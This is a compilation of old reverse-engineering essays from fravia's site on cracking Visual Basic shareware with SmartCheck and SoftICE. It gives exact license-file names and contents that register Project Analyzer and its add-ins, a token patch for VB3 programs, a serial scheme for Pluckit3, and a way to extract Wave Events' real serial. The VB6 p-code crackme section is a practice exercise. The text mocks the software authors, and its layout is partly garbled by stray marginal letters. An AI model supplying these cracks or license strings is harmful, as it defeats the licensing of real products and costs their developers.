I dont think too many reverse engineers would find this target useful.
This is mainly to demonstrate how fantastic Smartcheck is rather then
how to undo a certain protection scheme.
For those who don't have smartcheck 5.0, I suggest you download it NOW
and crack it using Softice (see Snatch's essay).
This Visual Basic runtime debugger and flow analyzer has to be seen to be
believed. After having used this tool, I just hope more people make their
stupid shareware in VB 5 so we can reverse all of their code, automagically,
using this wonderful tool : )
You actually get ALL the code events, even COMMENTED, with their ORIGINAL
names!!! Just load your target into Smartcheck and sit back and watch it
generate event after event!
I wish you luck in trying to get this tool from NuMega's web site
They're starting to become difficult to deal with. I suggest you do an
FTP search.
Well, that's enough about smartcheck
A friend had downloaded this target and I just copied the compressed
file onto my disk. The program is , as the name suggests, a Visual Basic
code analyzer.
I'm assuming you have SmartCheck 5 and have it configured to get maximum
events. Here are the steps:
After loading Project Analyzer and BEFORE beginning, click on settings
from the Program menu. Click on the "Reporting" tab and enable everything
except "Mouse movement from OCX".
Under the "File to check" tab, enable everything.
Under "Error detection" in "Type of errors to check for" check everything
Check "Save settings" before exiting.
When you run the program, select "Show all events" from the "View" menu
as well as "Arguments" and "Sequence Numbers"
After installing, when you run the program you see a simple
nag screen with a edit box with the words "Guess..." in it. Obviously
this is the place where you enter the registration code. Also, there's an
option which allows you to analyze multiple project files. This is
called Super Analyzer and requires a seperate registration.
(shareware programmers never get too greedy) This too, displays a nag.
Now that we've seen the program we can load SmartCheck with the program.
So once we're in, SC begins dishing all the code as it runs the program
(if you have the setting set for Show all events, you've got an incredible
quantity of code right about now) so now the nag screen is displayed in all
its glory.
For now press OK and clear it. Go to Project Analyzer's menu and select
Add In-->Super Analyzer. A second nag screen asking you to register Super
Analyzer pops up. Now, near the end of the code listing you should see
something interesting
What's happening here? You have to know a minimum amout of Visual Basic
to understand this code
Open(String:"c:\projectana\superpa.lic",
----> Translated in Basic this means:
The above code has "Protection routine" written all over it. Essentially
whats happening is, when you load Super Analyzer, the program attempts to
open a license file. If it doesn't find one, it loads the nag screen.
So, we can safely assume that when the registration code is correct,
a license file is automatically generated. So, now, we create a superpa.lic
file in the Project Analyzer Directory. We leave it as an empty file
and restart Project Analyzer through Smartcheck. This time when we try to
open the Super Analyzer, the nag screen still shows up and some new code
in Smartcheck.
LineInputNum(Integer:1)
Visual Basic Runtime Error :Input past end of file
That means, PA is not just seeing if the license file exists but checking
the contents as well. That means we'll have to fill the contents of
"SuperPA.lic" with something.
Now comes the incredible part. Just look at the line below in the
Smartcheck code and you should see something like this:
What does this mean? Yes, you guessed it. It's the string that's supposed
to be compared with what's in the license file! What does this mean?
It means we just put "norppa" on the first line in the license file and
it becomes valid!! Go ahead and try it. You are now the proud owner of a
fully registered Super Analyzer addin : )
Now lets try the same thing with the Project Analyzer itself:
Wait for the nag screen to show up and then in the Smartcheck code, do a
search for "lic". You should end up in a series of string manipulations.
Scroll down until you see something like the following:
So, now we know what to do. We simply create another license file,
this time with something written in it. So we make a "project.lic"
file and in the first 5 lines put "crap"
Open(String:"C:\projectana\project.lic",Integer:1,Long:-1,long:1)
Close(Integer:1)
Freefile
Open
LineInputNum(Integer:1)
LCase(VARIANT:ByRef String:"crap") --->converts to lower case
LCase(VARIANT:ByRef String:"Tikannakit")
LCase(VARIANT:ByRef String:"crap")
LCase(VARIANT:ByRef String: "Sibelius")
Lcase(VARIANT:ByRef String:"crap")
LCase(VARIANT:ByRef String: "Ryppyotsa")
Close(Integer:1)
About(Form) created
LCase(VARIANT:ByRef String:"crap")
LCase(VARIANT:ByRef String:"Tikannakit")
LCase(VARIANT:ByRef String:"crap")
LCase(VARIANT:ByRef String: "Sibelius")
Lcase(VARIANT:ByRef String:"crap")
LCase(VARIANT:ByRef String: "Ryppyotsa")
This looks like a direct case-insensitive string comparison which can only
mean its comparing the contents of the license file with what it's supposed
to contain. So, we create the license file as we did above, first line
being "Tikannakit" and second being "Sibelius" the third is "Ryppyotsa".
With Smartcheck cracking this is almost a joke! With our new license file
we simply load up PA again and this time we are fully registered!
Inside this target there are a couple of other add-in tools (Graph and Printer)
that also requre seperate registration (greedy programmers never learn)
For these procedures, as you will see, just work same as above.
1) Search for "lic"
2) Find the name of the license file to create.
3) Create it and add some junk in it
4) Run the program and see what it really needs
That's about it. I hope you understood this. You could have cracked this
of course in many different ways:
1) by scanning the code in the buttonclick event for the nag
screen to see how it processes the registration code you entered and
checks it against the real one but Smartcheck solves the problem in a much
easier way.
Final Notes
I personally don't know anyone who would purchase Project Analyzer in his
right mind: The program costs over $100 and you have moreover to register
any add-in tools seperatley.
On top of this, just check out the bug list after having installed this program!
I wouldn't distribute a freeware program that has so many bugs!
Guess whoever made the program didn't have SmartCheck 5.0 to debug it!
(If (s)he had used SmartCheck, neither the protection nor the program
itself would have been so weak! : )
Ob Duh
I wont even bother explaining you that you should BUY this target program if you intend to use its not allowed
functionalities (use as opposed to study them). Should you want to STEAL this software instead, you don't need to crack
its (pathetical) protection scheme at all: you'll find it on most Warez sites, complete and already regged, farewell.
You are deep inside fravia's page of reverse engineering, choose your way out:
An exploration of the inner workings and structure of the Visual Basic 3 Executable file
Introduction
The following essay is not intended to ba a "How to crack VB programs" essay but I will show you exactly HOW a VB program is
protected from de-compilers. It is important that you have a working knowledge of programming using Visual Basic in order to
understand the essay and more importantly, to follow the source code of the programs you de-compile. Although this essay covers an
older version of VB, there are many programs out there which have yet to be cracked. It also serves as a starting point to
understanding the later versions.
Tools required
1) Visual Basic 3- For Compiling our own test programs.
2) A Good Hex Editor- Use one that will let you Binary Compare two files and display the differences.
3) SoftIce- Of Course!
4) MAKE_MAK.EXE or DoDi's VBOPT to "Protect" our programs.
5) A VB DeCompiler. (Is there anything but DoDi's??!!)
Essay
As many people have discovered, a VB program isn't really a 'Program' in the traditional sense of the word. Visual Basic is an
'Interpreted' language. What this means is that the program is stored in a 'higher level' language than the machine's native code. It is
Some Hands On
** For this section of the lesson, you will need CALC.EXE compiled from the samples that come with VB3, it should compile to
9020 bytes. Or download it here within +Fravia's page.
Start your favorite Hex Editor and load CALC.EXE. Examine the following sections as I describe them. I have found it easiest to
print the whole file in hex starting from the windows header and use colored markers to see what the sections 'look' like.
0000-003F DOS HEADER- Note the 06 @ 003D; This is the start page of the Windows
Header.
061C- # Segments = 04 00
Segment 1 @ 0640 - 08 00 19 00 50 1D 19 00
This means:
The segment is located @ 0800
The segment is 0019 bytes long
1D50 - Flags (more later)
The segment need 0019 bytes of memory
Segment 2 @ 0648 - 00 00 00 00 11 0C 02 00
Ignore this segment definition
Segment 3 @ 0650 - 0F 00 50 02 10 1D 50 02
This segment @ 0F00 is the 'Sub Structure Table'
Segment 4 @ 0658 - 09 00 D0 50 10 1C D0 50
This segment @ 0900 is the Tokens (the 'Code')
0800-0819 This is the first segment. If you remember, the initial value
of CS:IP was 10 bytes past the start of this segment. This byte is
a long CALL (9A) into the interpreter. The address is computed at
runtime since there is no way to tell where VBRUN will load into
memory. The bytes which follow the segment are loading information
for other segments.
0900-0EFF These are the actual tokens. The source code is translated to this
at compile time. Strings are stored literally; this helps us to find
our place while comparing tokens to source. More on this section and
the ones that follow in the next lesson.
0F00-114F This section defines how the tokens are arranged into their various
subs.
1300-15FF This is the ICON definition. For information on this and the previous
section look in the WIN SDK help file under 'Graphics File Formats'
1A00-22FF This is the actual form used in the program. It's format is very
similar
to a VB .FRM file. Notice the 'in line' icon @ 1A61. Pictures are also
stored this way. The form's controls are defined in the second half of
the form.
2300-END These are the control names. ***This section is unnecessary for
program
operation and is removed when the program is PROTECTED.***
Tokens
While a complete explanation of all of the tokens is beyond this lesson, I will describe some of the more common things you will
come across as you examine tokens. Lets take the following small snippet of code:
0900: 35 49 21 2D 1A 00 9A 38 0A 00 0C 00 04 00 64 75
0910: 6B 65 00 00 C3 11 7A 44 B4 34 1E 00 35 0E 4B 49
..
..
'7A 44' This is the important one. It basically means 'Compare the two variables and if < > then continue' Hmmm. What would
happen if we changed '7A 44' to '6A 44' which means 'Compare the two variables and if = then continue' You guessed it! Our
program would be cracked.
The remaining tokens are the END instruction and the next line spacing token. The easiest way to learn about the different tokens is
to write short VB programs, make .EXE's, and compare the tokens with the source code which generated them. When you compare
DB the addresses of the 'Code' segments (try seg. 4!) until you find the tokens
Restart the SAME VB program; SoftIce will pop up once on a string copy in VFAT, CTRL-D back to the program
and it will pop up again on a JMP AX in VBRUN.
This JMP AX is about to go to the first routine. If you look at AX, you will notice that it's value is the first token. It was loaded with
the previous instruction LODSW ES. The tokens are actually the addresses of the routines to be performed! If you DB ES:0 you will
see the tokens the way VBRUN is referencing them using SI. As you step through, you can watch the tokens being loaded and their
routines run.
Now that you have a basic understanding of how the tokens work, let's move on....
1600:03 20 81 80 FF FF 43 41 4C 43 00 00 00 00 00 05
1610:00 01 00 43 41 4C 43 00 00 46 09 04 80 46 00 FF
1620:01 A4 48 00 43 41 4C 43 2E 46 52 4D 00 00 00 58
.....
This is the start of the 'Forms Definitions' section. It contains the names of the form (.FRM) files used in the compile, names of any
.VBX files needed by the program, and references for both common and custom controls.
The start (header) of this section is '03 20 81 80' and there is only one of these sections in an .EXE (that I have seen, anyway). 'FF
FF' always follows.
The next nine bytes contains the program name, eight byte DOS limit and a terminating 0. If the name is less than 8 bytes long, the
extra space is padded w/ 0's.
The next bytes '05 00' is the length of the Application Title with a terminating 0. This title may be up to H29 bytes long and is
entered at compile time.
'01 00' ?????? Possibly the number of titles?
'43 41 4C 43 00' is the title 'CALC'
The next '00' is padding.
The bytes which follow are the definitions of the names and controls. They have the following format:
Next byte:
43 - VBX Name - This defines a VBX needed by the program. The byte after the '43' is
the
length of the VBX filename. The next word is '00 00' since there are no resources
associated with these entries (see next definition). The null terminated filename
starts 7 bytes later (I don't know what the 7 bytes are for).
46 - Form Name - This is the name of the .FRM file used during the compile. Again the
byte after the '46' is the length of the filename. The word which follows is the
ID of the resource which contains the actual form. 7 unknown bytes, then the null
term.
filename. The word after this is the number of DWORDS which follow before the next
definition. Most form name entries have this set to '00 00' which of course means
that the next definition starts at the next byte. I don't know what these bytes mean
either.
58 - Control Name(s)? - These seem to be the definitions for the control names. ALL
00001D90 00 00 00 00 00 00 01 41 00 00 80 01 07 00 00 04 .......A........
00001DA0 FF 00 01 37 02 07 00 04 78 00 58 02 E0 01 E0 01 ...7....x.X.....
00001DB0 0B 06 53 79 73 74 65 6D 9A 99 19 41 E1 11 07 00 ..System...A....
'01' - Our first control will start with 01. Simple enough right? Well that's where the simplicity for this field ends!
'41 00' - This is the offset to the next control (0041).
'00 80' - This indicates a Control Array (8000). If this value were 0000, this would be a single control.
'01' - The position of the name of this control in the Control Names list (more info later)
'07 00' - The Index Value for the control (0007). If this were a single control, this word would be missing.
'00' - Padding?
'04'- Control Type. Type 04 is a Command Button.
'FF' - 'End of Part 1'
Now starts the same type of property list found in the form section so I will not go into detail.
If our program contained a menu, the items would also be listed in this faishon. The hierarchy can get quite messy but the key is in
the first byte(s) of the control. The bytes following the first may or may not be the offset to next, If they are 01 - 05 they are hierarchy
codes (04 meaning no more controls). If they are > 5 then they are the offset to the next control. After you examine this section of a
program with a complex menu, you will see what is going on.
Unfortunately, due to the large number of control properties, I cannot give you a list of them. It is, however, fairly easy to find the
code of a property you are looking for .... Just compile a test program with whatever control you are trying to find the property for,
make an .EXE out of it, then change the property and make another .EXE. When you binary compare the Form section's of the two
programs, you will see what bytes have been added to change the property. This is the best way to find out most of what is in the
.EXE.
* A note on VB3: VB3 has a strange habit of compiling the exact same source code into slightly different .EXE's between the first and
second compiles. When making your reference file, compile your source code TWICE without changing anything. It will ask you if
you want to over write the existing .EXE; answer YES. NOW rename the .EXE and compile it a THIRD time. A binary compare of
these should be identical, if not, repeat this until you can get two files which are identical. THEN make a your changes and Compile
again. This is necessary on the VB3 that I have, you may want to test it on yours.
Here is a list of some of the Form Properties you may want to change:
03 - Background color
09 - Enabled
0B - Mouse pointer
0C - Font change
10 - Window State
1D - Fill style
1E - Fill color
23 - Inline Icon definition
24 - Link topic
25 - Link mode
26 - Max Button
27 - Min Button
28 - Close Button
2E - Visible
31 - Key Preview
and standard control types:
2) Rebuild the Control Names resource. It must start on the page after it's related form ends. If you are guessing at control
names, use the control type to make a useful name i.e. Command1, and the 'Number in List' parameter in the control data to
place it in the proper order. Pad the rest of the page to bring it to the next boundary. Repair the pointer to this resource in the
header and adjust the pointers of any resources after this one which have been moved.
* If the program has been protected with DoDi's VBOPT, there will be one additional step needed in order to un-protect it. I won't
tell you this step out of respect for the writer of the only VB de-compiler I know of, but it isn't hard to figure out. I have faith in all of
you!!
Final Notes
If there is something that I have not made clear, and after much time of trying to figure it out for yourself, or if you know of parts of
my essay that are just wrong, please e-mail me at vbman@nassau.cv.net and I will do my best to help.
Please Don't email duke@nassau.cv.net, it's not me. Someone got the address before I did :(
Ob Duh
Ob duh does not apply here... on the countrary: visual basic buffs should pay Duke for this kind of information...
You are deep inside fravia's page of reverse engineering, choose your way out:
Visual basic
As I mentioned this is my first attempt to crack a VB program. In my first approach I changed some
jumps in memory, but there were too many jumps to change so I decided to go for the serialnumber.
I'm not gonna cover how to set up smartcheck cause Fravia+ has already done that. Well lets fire
smartcheck...
On startup you'll get two 'invalid arguments' errors, like I said, this crap is filled with bugs. Proceed
to the registration screen and type in any#. In smartcheck choose view "specific events.. " so you can
easily navigate and find what we are looking for.
After the "invalid..." dialogbox appears, terminate Pluckit3 and go to smartcheck and look around. At
sequence# 16745 you'll see your false serial number. Now what follows is:
16926 __VbaVarOr()
16927 __VbaBoolVarNull() Return dword FFFFF
16928 _vbaVarDup(VARIANT: string "invalid", Variant boolean false)
----
This looks very strange, no manipulations at all so far execpt from the basic ones ie calculate length
of string and so on. I don't know what __vbaVarOr or __vbaBoolVarNull does exactly but judging
from their names they must check something from beeing either true or false. That was what I
thought when I first glanced at it. But what could it be? It could be three things:
1 A letter
2 A char ie "%" or whatever
3 both of them
T So start all over again and this time enter your name as registration#. Remeber to choose view
"specific events and errors" if you want to skip alot of unimportant "code".
H
There are some significant changes, first obvious one is we passed the __vbaBoolVarNull and second
E the sequence numbers has shrinked !!? The messagebox is now at sequence# 14764. But what's more
interesting is the lines above 14764. From 14731 ---> 14758 are a bunch of Integer(#)-->Long(#)
where # is starting from 0 and ending at 9. View all events and you'll see that under each Integer(#)
there is a a different number that is tested against a variable called double:0. The values that are
E tested against double:0 are:
55276
39824
S 68684
75268
S 12367
59826
A 48927
65826
Y 34096
15824
This means that double:0 should have a value equal to one of these numbers and the registration code
must contain a letter(s) for us to pass __vbaBoolVarNull(). We also know that double:0 is zero when
we only entered letters. So the registration code must have some numbers and one or more letters
step II
Start again (I know this begins to be boring but we are almost finished). This time we must use
systematical inputs. Lets begin with 123A and see what happens what value is given to double:0.
Hmmn we didn't pass the __vbaBoolVarNull() function with 123A. Well my experience in
registration codes tells me that the letter may be a separator of two numbers. Lets try 123A123.
Great (balls of fire) we passed the evil __vbaBoolVarNull(), lets find out if double:0 has a value. Just
click on one of the __vbaVarTestEq at sequence# 14909 for example wich is the first one. As you'll
see double:0 has the value of 15129 and is therefore called double:15129 instead of double:0. How
did it get that value?
Well 123*123=15129 and thats where double:15129 got it's value from. So the form of the
regisration code is #####X#####=Y where # is a number and X is a letter and Y any of the valid
numbers that our double:15129 is tested against. Lets pic one of the valid numbers and use them in
our code like this:
Since such a visual programmer is assumed to be a moron, he will probably only check the five first
numbers but hey, should he check all numbers we still have the equation... so it would be really easy
to solve it. But lets first try the above to see how dumb such a "programmer" can be... Could you
believe that? It worked at once! What a moron programmer!
Numega deserves all credits for its Smartcheck, this is truly an amazing tool. Thats it for now.
Indian_Trail
(Saddle all the horses far on the Indian Trail, 'til it's time to change the key and jump to a different
scale...a boogie woogie on the run)
I wont even bother explaining you that you should BUY this target program if you intend to use it for
a longer period than the allowed one. Should you want to STEAL this software instead, you don't
Ob duh
need to crack its protection scheme at all: you'll find it on most Warez sites, complete and already
regged, farewell.
I don't know why one should choose visual basic to make an application like this one. But this Author
Final Notes is probably just a greedy looser, who only want to make some fast money instead of taking pride in a
good, lean and fast program.
You are deep inside fravia's page of reverse engineering, choose your way out:
way out
Back to Visual Basic -->
homepage links anonymity +ORC students' essays academy database
tools cocktails antismut CGI-scripts search_forms mail_fravia+
Is reverse engineering legal?
SmartCheck v5.0
Tools
Required SoftICE v3.x
some Brain ;)
The first thing I do if I want to crack a VB prog is to run it under Smartcheck. Mostly you find something you can
use to crack the app.
In Wave Events select Help/Register. Now fill the registration fields with some info. I use "Wyatt'98" and "121212".
Now push the Save-Button. You see a Message Box which tells you that you have inserted an invalid code (which
does not wonder me in the least). Ok thats all the info we need (not all but nearly all ;). Close the target and examine
it through "our" great Smartcheck tool. After a little searching (don't forget to choose the "Show All Events" option)
you'll find your input. By me it was at line 159064 (You can directly search for your dummy code). You should see
this:
159099 SysFreeString
|
|
159102 MsgBox returns Integer: 1
What does this mean? If you look into the first line you should hopefully find that Msvbvm50.dll calls a procedure
in Oleaut32.dll called "VarNumFromParseNum". This procedure returns our dummy code converted into a double
real number. Write down the address of this proc in Msvbvm50 (it is 0DD77Bh - you'll find it inside the right
window of Smartcheck... LEARN HOW TO USE THIS GREAT GREAT TOOL!) and close smartcheck now, we
won't need it again. We want to examine our target now in SoftIce.
Fire Softice. You have written down the address of the Call in Msvbvm50? If not, do it now (look above). Set a
Breakpoint at that address (mine is bpx F0DD77B). After you have enter some dummy registration info again you
land hopefully here:
The return value is our code converted into a double real number. After the call, set an bpr at this new converted
number (this is the usual way, especially in a VB-prog; info: double real have 8 byte length) and run it. Now the
main part comes. Softice stops at an coprocessor instruction. For a better understanding I explain now some basic
knowlege of the coprocessor.
The coprocessor uses 8 register, wich are arranged similiar to the normal stack. Every register is 80 bit long and its
content is a real number. Then the copro uses a so called "status word register". It is nearly similiar to the well
known flag register. Here a short graphical description:
Register
ST Content (80 bit)
0
1
2
3
4
5
6
7
Let us concentrate to bit 14, bit 10-8 and bit 13-11. Bit 14 and bit 10-8 represent the "condition code". This is realy
important for comparing two numbers. But more later. Bit 13-11 represent the TOS (Top of Stack). The TOS is
therefore a pointer to the Top of our 8 register stack. All instructions without a special operand uses the TOS (or
better the register at wich the TOS points) to calculate. So for example the register 3 has the value 5 and the TOS
has the value 3.
TOS=3
ST(0) = Reg3 = 5
ST(1) = Reg4 = ?
ST(2) = Reg5 = ?
The instruction "FCHS" will then change the sign of Reg3.
ST(3) = Reg6 = ?
So after this the content of Reg3 is -5.
ST(4) = Reg7 = ?
ST(5) = Reg0 = ?
ST(6) = Reg1 = ?
ST(7) = Reg2 = ?
I explaining now only some typical commands because it is too much to show all in one essay.
E TOS=4
ST(0) = Reg4 = 7
ST(1) = Reg5 = ?
S ST(2) = Reg6 = ?
The instruction "Fadd ST(3),ST(0)" will then add ST(0) to ST(3).
ST(3) = Reg7 = 4
S ST(4) = Reg0 = ?
So the content of Reg7 is 11 after this operation. The TOS is not changed.
ST(5) = Reg1 = ?
A ST(6) = Reg2 = ?
ST(7) = Reg3 = ?
Y Faddp, Fsubp, Fmulp, Fdivp
The same like Fadd, Fsub, Fmul, Fdiv. But the TOS is incremented.
Fcom, Fcomp
Fcom is the equivalent to Cmp. But it exist only one operand. Fcom compares this operand with the TOS and
change the condition code. You know the condition code is Bit 14 and Bit 10-8 of the status word register. Fcomp
pops (increment) the TOS after the compare.
condition code
C3 C2 C1 C0
0 0 0 0 Operand 1 > Operand 2
Fcompp
Fcompp has no operand. It compares ST(0) with ST(1). The TOS is incremented by two.
Fist, Fistp
Fist converts a real number from ST(0) to a word(!) integer and saves the integer at a memory location. Fistp
converts a real number from ST(0) to a dword(!) integer at a memory location and increment the TOS.
I think thats enough. If you want more then take a good book. There are much more to explain. Ok now back to our
target.
Fld loads our converted input into ST(0) (I say now: our magic number). IF you step down a few instructions (13)
then you come to this code snippet:
Fstp saves our magic number at memory location [EBP+EAX]. Ok now bpr at this location. Softice pops here:
Our number is again loaded. Now step down a few lines and you find this:
What is this? Ok some more coprocessor instructions. Fld1 is very simple. It loads only a "1.0" into the Reg at wich
the TOS points (ST0). Our magic number is now at ST(1)! Fldcw loads a value in the third (not explained by me)
"control word register". This is for this protection not very interesting. Fmulp ST(1),ST mutliply (our magic
number)*1. So it is not interesting too. Only the TOS is incremented and our magic number is now at ST(0). Now
some more steps down.
Here we are now at the final part. In ST(0) is our number and in ST(1) is some other number. FXCH ST(1)
exchange now ST(0) (our number) with ST(1) (a new number). The next instruction compares ST0 with ST1. The
last instruction saves now the status word register (the condition code is a part of it) It is needed later. Do you feel
it? You can't see it but I think you know that in ST0 is now the REAL serial number. Now there is a little problem.
Because we can't see the content of the copro registers under SoftICE. And if we could see it, the REAL serial is in
real8 format. So do you remember? I explaind some command to convert a real8 back to integer format. The
command is "Fistp". Short after FXCH we assemble some new instructions:
Fistp dword ptr ss:[esp+4]
Mov eax,dword ptr ss:[esp+4]
Ret
In EAX is now the real serial in normal integer format. Now you only have to convert this into decimal.
Clear all breakpoints, restart Wave Events and test your real serial. If you don't need Wave Events then erase it now.
You have done it all.
Wyatt'98 [wyatt_98(at)hotmail(point)com]
I wont even bother explaining you that you should BUY this program if you intend to use it for a longer period than
Ob duh the allowed one. Should you want to STEAL this software instead, you don't need to crack its protection scheme at
all: you'll find it on most Warez sites, complete and already regged, farewell.
I hope you have learned something :) You see Visual Basic cracking is not difficult. You have to go only another
way. But at the end it is the same, mostly easy to crack, protection. So the conclusion is:
Final Notes
VB6-Pcode Reversing
Cracking a VB6-Pcode Crackme Visual Basic
It's about time someone wrote a VB6-Pcode tutorial!! I'm proud to have a crackme I made as the target of
this fine tutorial. (And to settle the confusion, I changed my name from 'St0rmer' to 'disavowed' after
having made this crackme)
CyberBlade does an outstanding job of analyzing msvbvm60.dll (the VB6 "virtual machine" (not quite as
cool as it sounds)) and also the crackme itself, and how to follow exactly what's going on inside the
program by following the pcode.
Not only did CyberBlade go to the trouble of writing this tutorial, he was also nice enough to include a
brute-force keygen including source code. With some effort, an actual "non-brute-force" keygen could be
made.
As our knowledge of VB reversing increases, our fear of seeing vb dll's in imports will hopefully
diminish. Next project: a true VB5/VB6 decompiler? As for now, put on your thinking caps, load
msvbvm60.dll into Symbol Loader, and learn, learn, learn! :)
- disavowed (disavow@optonline.net)
VB6-Pcode Reversing
Cracking a VB6-Pcode Crackme
Written by CyberBlade
Introduction
I'm not good at writing tutorials, but ACiD BuRN asked me to write one, so if you don't like it ACiD
BuRN is to blame =P
As I told you, this is a VB6 CrackMe compiled to P-Code. Many people think that it is very hard to crack
such CrackMes, but it isn't. All you need is a bit training and the knowledge of common VB breakpoints.
I suggest you print this text to have it handy while debugging with Soft-Ice.
The serial consists at least of 4 characters, the Name must have at least 6 characters.
Tools required
NuMega SmartCheck, Softice and (W32dasm 8.9)
Essay
Perform the following steps to reverse the protection mechanism:
Start the CrackMe and complete the Registartion Info:
I entered --> Name: CyberBlade | Code: 6786789
Now press "Ctrl + d" to get into Softice and set a breakpoint on hmemcpy. I assume you know how to do
that : ) If not go and ask somebody in the street. Then return to the CrackMe and push the "Check" -
Button.....B00M....What happened ?! We're in Softice : ). Now you can (believe it or not) remove the
breakpoint (bc *). Push F12 exactly 7 times, till you get into the core of MSVBVM60.DLL.
Now you can set some breakpoints. Having taken a closer look at the results of SmartCheck I found the
following breakpoints:
Msvbvm60!rtcRound <== used to round a number: Round(5.5) ==> 6
Breakpoints marked with a * are those I always set when cracking a VB program.
After having set all these breakpoints we can proceed...to the deep codewoods...Don't be afraid,
CyberBlade is with you hehehe =P
Turn the "floating point window" on, coz you will need it later. (wf)
It's important to know that you don't have to step into any calls except those that invoke the functions
(mostly "call ebx") and the "call eax" which takes you back to PGC Crackme. Trace through the code
(F10). Don't bother to understand any asm-instruction before reaching an area with a series of XOR
instructions (each one is followed by a "jmp dword ptr") making up a "XOR pattern".
:66105620 0FBF06 movsx eax, word ptr [esi]
:66105623 FF3428 push dword ptr [eax+ebp]
:66105626 33C0 xor eax, eax
:66105628 8A4602 mov al, byte ptr [esi+02]
:6610562B 83C603 add esi, 00000003
:6610562E FF2485146D1066 jmp dword ptr [4*eax+66106D14]
:66105635 0FBF06 movsx eax, word ptr [esi]
:66105638 FF3428 push dword ptr [eax+ebp]
:6610563B C7042800000000 mov dword ptr [eax+ebp], 00000000
:66105642 33C0 xor eax, eax
:66105644 8A4602 mov al, byte ptr [esi+02]
:66105647 83C603 add esi, 00000003
:6610564A FF2485146D1066 jmp dword ptr [4*eax+66106D14]
:66105651 0FBF06 movsx eax, word ptr [esi]
Having reached the above location you can put breakpoints on the addresses 66105620; 66105635 and
66105651 to mark them for the run. It's always this pattern which leads you to the functions.
The jump at location 6610562E will take you to location 66106BC6 and as I mentioned before there's a
call to a function of VB6:
* Reference To: MSVBVM60.__vbaLenBstr
|
:66106BC6 E853A1F5FF call 66060D1E
Use F8 to trace into the __vbaLenBstr function:
Exported fn(): __vbaLenBstr - Ord:0147h
:66060D1E 8B442404 mov eax, dword ptr [esp+04]
:66060D22 85C0 test eax, eax
:66060D24 7405 je 66060D2B
:66060D26 8B40FC mov eax, dword ptr [eax-04]
:66060D29 D1E8 shr eax, 1
:66060D2B C20400 ret 0004
Trace to location 66060D22 and type "d eax" and you will see the Name entered in the data window, in
my case C.y.b.e.r.B.l.a.d.e (W.i.d.e.C.h.a.r.a.c.t.e.r.f.o.r.m.a.t). Leave that function, and type "? eax". A
number specifiing the length of the entered name, in my case "10", will be displayed.
Keep on tracing (F10) till you get to the "XOR pattern" again. Again it takes you to the function
__vbaLenBstr.This time it returns the length of the Code entered, in my case 6786789 with a length of
"7".
Now continue through the deep codewoods, notice that you will pass through a "XOR pattern" that
follows the one mentioned above. But this time no important function is called (__vbaI2var), so keep on
tracing......You reach again the above mentioned "XOR pattern" that calls a function. This time it is
calling "__vbaStrCat". It is used to concatenate two strings. In this case "CyberBlade & 6786789" results
in "CyberBlade6786789":
Exported fn(): __vbaStrCat - Ord:0195h
:66060B5F 55 push ebp
:66060B60 8BEC mov ebp, esp
:66060B62 8D4508 lea eax, dword ptr [ebp+08]
:66060B65 50 push eax
:66060B66 FF7508 push [ebp+08]
:66060B69 FF750C push [ebp+0C]
:66060B6C FF15E8061166 call dword ptr [661106E8] <== This is a call to OleAut32 where the "real
operations" are executed. Trace into this call to see how the strings are concatenated.
:66060B72 85C0 test eax, eax
:66060B74 0F8C2EEB0200 jl 6608F6A8
:66060B7A 8B4508 mov eax, dword ptr [ebp+08]
:66060B7D 5D pop ebp
:66060B7E C20800 ret 0008
I dunno why this is done. I didn't notice that this value is being used later. After I had successfully
cracked the CrackMe, the author (St0rmer) told me that he had included some misleading dummy
operations to confuse I don't know who, but not me ! : )
The above code sequence seems to be an example for this.
Knowing this you needn't worry about this function any longer. Ignore it and keep on cracking...
Again you pass the unimportant "XOR pattern". But then you get to the "XOR pattern" you've set your
breakpoints on. The __vbaLenBstr function is called. It returns the length of "CyberBlade". Performing
the same steps again it returns the length of our Code entered "6786789".
In the following I won't mention the "XOR patterns" any longer. I assume you've memorized it now. : )
I'll only show you the functions called by it:
__vbaStrCat ==> used to concatenate the strings "CyberBlade & 6786789" Why does this CrackMe do
everything twice ?! Strange CrackMe !
Carry on, trace through the Code and you will get to another "XOR pattern". You might think: "Oh no !
not again !", but this is what P-Code is like... : )
:66106BF9 33C0 xor eax, eax
:66106BFB 8A06 mov al, byte ptr [esi]
:66106BFD 46 inc esi
:66106BFE FF2485146D1066 jmp dword ptr [4*eax+66106D14]
:66106C05 33C0 xor eax, eax
:66106C07 8A06 mov al, byte ptr [esi]
:66106C09 46 inc esi
:66106C0A FF248514711066 jmp dword ptr [4*eax+66107114]
:66106C11 33C0 xor eax, eax
:66106C13 8A06 mov al, byte ptr [esi]
:66106C15 46 inc esi
:66106C16 FF248514751066 jmp dword ptr [4*eax+66107514]
:66106C1D 33C0 xor eax, eax
:66106C1F 8A06 mov al, byte ptr [esi]
:66106C21 46 inc esi
:66106C22 FF248514791066 jmp dword ptr [4*eax+66107914]
:66106C29 33C0 xor eax, eax
:66106C2B 8A06 mov al, byte ptr [esi]
:66106C2D 46 inc esi
:66106C2E FF2485147D1066 jmp dword ptr [4*eax+66107D14]
You can set breakpoints on the important jmps, so u won't miss them next time.
Okay, this "XOR pattern", well rather the jump will take you to the part of MSVBVM60.DLL where the
functions for mathematical operations like Division, Multiplication, And, Subtraction are called:
:66105F52 EB26 jmp 66105F7A
:66105F54 8D1D8B841066 lea ebx, dword ptr [6610848B] (__vbaVarSub)
:66105F5A EB1E jmp 66105F7A
:66105F5C 8D1DC4251066 lea ebx, dword ptr [661025C4] (__vbaVarMul)
:66105F62 EB16 jmp 66105F7A
:66105F64 8D1D42881066 lea ebx, dword ptr [66108842] (__vbaVarDiv)
:66105F6A EB0E jmp 66105F7A
:66105F6C 8D1DE5251066 lea ebx, dword ptr [661025E5] (__vbaVarIdiv)
:66105F72 EB06 jmp 66105F7A
:66105F74 8D1D842D1066 lea ebx, dword ptr [66102D84] (__vbaVarAnd)
**Note: I have only listed the important function (I didn't mention __vbaI2Var, __vbaVarAdd,
sometimes OleAut32!VarCmp)
No explanations will be given to those senseless function. But reversing the functions above is a good
exercise anyway : P
Trace on and be careful, not to miss the "call eax" which will take you back to PGC CrackMe. There you
will see jmps to many functions used by the CrackMe. You can trace over the call to the function
rtcMidCharVar. Now push "d eax" and you will see the last character of your Name (whatever you have
entered as "Name") in the data window. Follow the thread and you will see how the AscII value of this
character is taken. To give you a better feeling of the manipulations that are performed on the Name
entered I'll list them here:
1. Read the last character of the Name ==> "e"
2. Take the AscII value ==> 101
3. Add 6 to 101 ==> 107
4. (107)3 ==> 1225043
5. Divide this number by 10. 1225043 / 10 ==> 122504,3
